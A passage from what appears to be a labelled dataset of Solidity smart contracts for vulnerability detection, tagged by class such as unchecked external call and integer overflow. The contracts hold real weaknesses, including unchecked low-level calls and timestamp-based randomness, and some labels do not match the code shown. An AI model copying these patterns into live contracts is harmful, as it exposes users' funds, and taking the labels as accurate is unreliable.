_value); } function safeWithdrawal(uint _value ) onlyOwner public { if (_value == 0) owner.transfer(address(this).balance); else owner.transfer(_value); } }",./Dataset/ether strict equality (SE),3,3 38362.sol,"pragma solidity ^0.4.11; contract AbstractENS { function setResolver(bytes32 node, address resolver); } contract Resolver { function setAddr(bytes32 node, address addr); } contract Deed { address public previousOwner; } contract Registrar { function transfer(bytes32 _hash, address newOwner); function entries(bytes32 _hash) constant returns (uint, Deed, uint, uint, uint); } contract SellENS { SellENSFactory factory; function SellENS(){ factory = SellENSFactory(msg.sender); } function () payable { factory.transfer(msg.value); factory.sell_label(msg.sender, msg.value); } } contract SellENSFactory { struct SellENSInfo { string label; uint price; address owner; } mapping (address => SellENSInfo) public get_info; address developer = 0x4e6A1c57CdBfd97e8efe831f8f4418b1F2A09e6e; AbstractENS ens = AbstractENS(0x314159265dD8dbb310642f98f50C066173C1259b); Registrar registrar = Registrar(0x6090A6e47849629b7245Dfa1Ca21D94cd15878Ef); Resolver resolver = Resolver(0x1da022710dF5002339274AaDEe8D58218e9D6AB5); bytes32 root_node = 0x93cdeb708b7545dc668eb9280176169d1c33cfd8ed6f04690a0bcc88a93fc4ae; event SellENSCreated(SellENS sell_ens); event LabelSold(SellENS sell_ens); function createSellENS(string label, uint price) { SellENS sell_ens = new SellENS(); get_info[sell_ens] = SellENSInfo(label, price, msg.sender); SellENSCreated(sell_ens); } function sell_label(address buyer, uint amount_paid){ SellENS sell_ens = SellENS(msg.sender); if (get_info[sell_ens].owner == 0x0) throw; string label = get_info[sell_ens].label; uint price = get_info[sell_ens].price; address owner = get_info[sell_ens].owner; bytes32 label_hash = sha3(label); Deed deed; (,deed,,,) = registrar.entries(label_hash); if (deed.previousOwner() != owner) throw; bytes32 node = sha3(root_node, label_hash); ens.setResolver(node, resolver); resolver.setAddr(node, buyer); registrar.transfer(label_hash, buyer); uint fee = price / 20; if (buyer == owner) { price = 0; fee = 0; } developer.transfer(fee); owner.transfer(price - fee); if (amount_paid > price) { buyer.transfer(amount_paid - price); } LabelSold(sell_ens); } function () payable {} }",./Dataset/dangerous delegatecall (DE)/,1,1 40310.sol,"pragma solidity ^0.4.21; // File: zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: zeppelin-solidity/contracts/ownership/Claimable.sol /** * @title Claimable * @dev Extension for the Ownable contract, where the ownership needs to be claimed. * This allows the new owner to accept the transfer. */ contract Claimable is Ownable { address public pendingOwner; /** * @dev Modifier throws if called by any account other than the pendingOwner. */ modifier onlyPendingOwner() { require(msg.sender == pendingOwner); _; } /** * @dev Allows the current owner to set the pendingOwner address. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { pendingOwner = newOwner; } /** * @dev Allows the pendingOwner address to finalize the transfer. */ function claimOwnership() onlyPendingOwner public { OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); } } // File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/Withdrawals.sol contract Withdrawals is Claimable { /** * @dev responsible for calling withdraw function */ address public withdrawCreator; /** * @dev if it's token transfer the tokenAddress will be 0x0000... * @param _destination receiver of token or eth * @param _amount amount of ETH or Tokens * @param _tokenAddress actual token address or 0x000.. in case of eth transfer */ event AmountWithdrawEvent( address _destination, uint _amount, address _tokenAddress ); /** * @dev fallback function only to enable ETH transfer */ function() payable public { } /** * @dev setter for the withdraw creator (responsible for calling withdraw function) */ function setWithdrawCreator(address _withdrawCreator) public onlyOwner { withdrawCreator = _withdrawCreator; } /** * @dev withdraw function to send token addresses or eth amounts to a list of receivers * @param _destinations batch list of token or eth receivers * @param _amounts batch list of values of eth or tokens * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address */ function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); // itterate in receivers for (uint i = 0; i < _destinations.length; i++) { address tokenAddress = _tokenAddresses[i]; uint amount = _amounts[i]; address destination = _destinations[i]; // eth transfer if (tokenAddress == address(0)) { if (this.balance < amount) { continue; } if (!destination.call.gas(70000).value(amount)()) { continue; } }else { // erc 20 transfer if (ERC20(tokenAddress).balanceOf(this) < amount) { continue; } ERC20(tokenAddress).transfer(destination, amount); } // emit event in both cases emit AmountWithdrawEvent(destination, amount, tokenAddress); } } modifier onlyOwnerOrWithdrawCreator() { require(msg.sender == withdrawCreator || msg.sender == owner); _; } }",./Dataset/unchecked external call (UC),7,7 1267.sol,"pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract OC is StandardToken { string public constant name = ""EAU-COIN ROUND ONE""; string public constant symbol = ""OC""; uint8 public constant decimals = 8; address public constant tokenOwner = 0x20A2568038e59f7178793655daE080F7207c4C0b; uint256 public constant INITIAL_SUPPLY = 6750000000 * (10 ** uint256(decimals)); function OC() public { totalSupply_ = INITIAL_SUPPLY; balances[tokenOwner] = INITIAL_SUPPLY; emit Transfer(0x0, tokenOwner, INITIAL_SUPPLY); } }",./Dataset/integer overflow (OF)/,4,4 998.sol,"pragma solidity ^0.4.24; contract RP1events { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 rp1Amount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 rp1Amount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 rp1Amount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 rp1Amount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } contract modularLong is RP1events {} contract ReadyPlayerONE is modularLong { using SafeMath for *; using NameFilter for string; using RP1KeysCalcLong for uint256; address community_addr = 0xa4E39A9e503Ce2a4f7d416096CF5E2d2922F092e; address marketing_addr = 0x2bcF32E60c1Bc6D0574c803253Fd09e46FBf00C9; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xB598a3b241d889b486281967805165B3CFf4e43d); string constant public name = ""Ready Player ONE""; string constant public symbol = ""RP1""; uint256 private rndGap_ = 0; uint256 constant private rndInit_ = 3 hours; uint256 constant private rndInc_ = 15 seconds; uint256 constant private rndMax_ = 3 hours; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => RP1datasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => RP1datasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => RP1datasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => RP1datasets.TeamFee) public fees_; mapping (uint256 => RP1datasets.PotSplit) public potSplit_; constructor() public { fees_[0] = RP1datasets.TeamFee(30,0); fees_[1] = RP1datasets.TeamFee(41,0); fees_[2] = RP1datasets.TeamFee(60,0); fees_[3] = RP1datasets.TeamFee(46,0); potSplit_[0] = RP1datasets.PotSplit(32,0); potSplit_[1] = RP1datasets.PotSplit(25,0); potSplit_[2] = RP1datasets.PotSplit(35,0); potSplit_[3] = RP1datasets.PotSplit(44,0); } modifier isActivated() { require(activated_ == true, ""its not ready yet. check ?eta in discord""); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""sorry humans only""); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, ""pocket lint: not a valid currency""); require(_eth <= 100000000000000000000000, ""no vitalik, no""); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { RP1datasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { RP1datasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { RP1datasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { RP1datasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { RP1datasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { RP1datasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { RP1datasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { RP1datasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit RP1events.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.rp1Amount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit RP1events.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit RP1events.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit RP1events.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit RP1events.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(58)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, RP1datasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit RP1events.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.rp1Amount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, RP1datasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit RP1events.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.rp1Amount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, RP1datasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) { uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(RP1datasets.EventReturns memory _eventData_) private returns (RP1datasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != """") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, RP1datasets.EventReturns memory _eventData_) private returns (RP1datasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(RP1datasets.EventReturns memory _eventData_) private returns (RP1datasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(58)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _rp1 = (_pot.mul(potSplit_[_winTID].rp1)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_rp1); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); community_addr.transfer(_com); round_[_rID].mask = _ppt.add(round_[_rID].mask); if (_rp1 > 0){ _res = _res.add(_rp1); } _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.rp1Amount = _rp1; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add 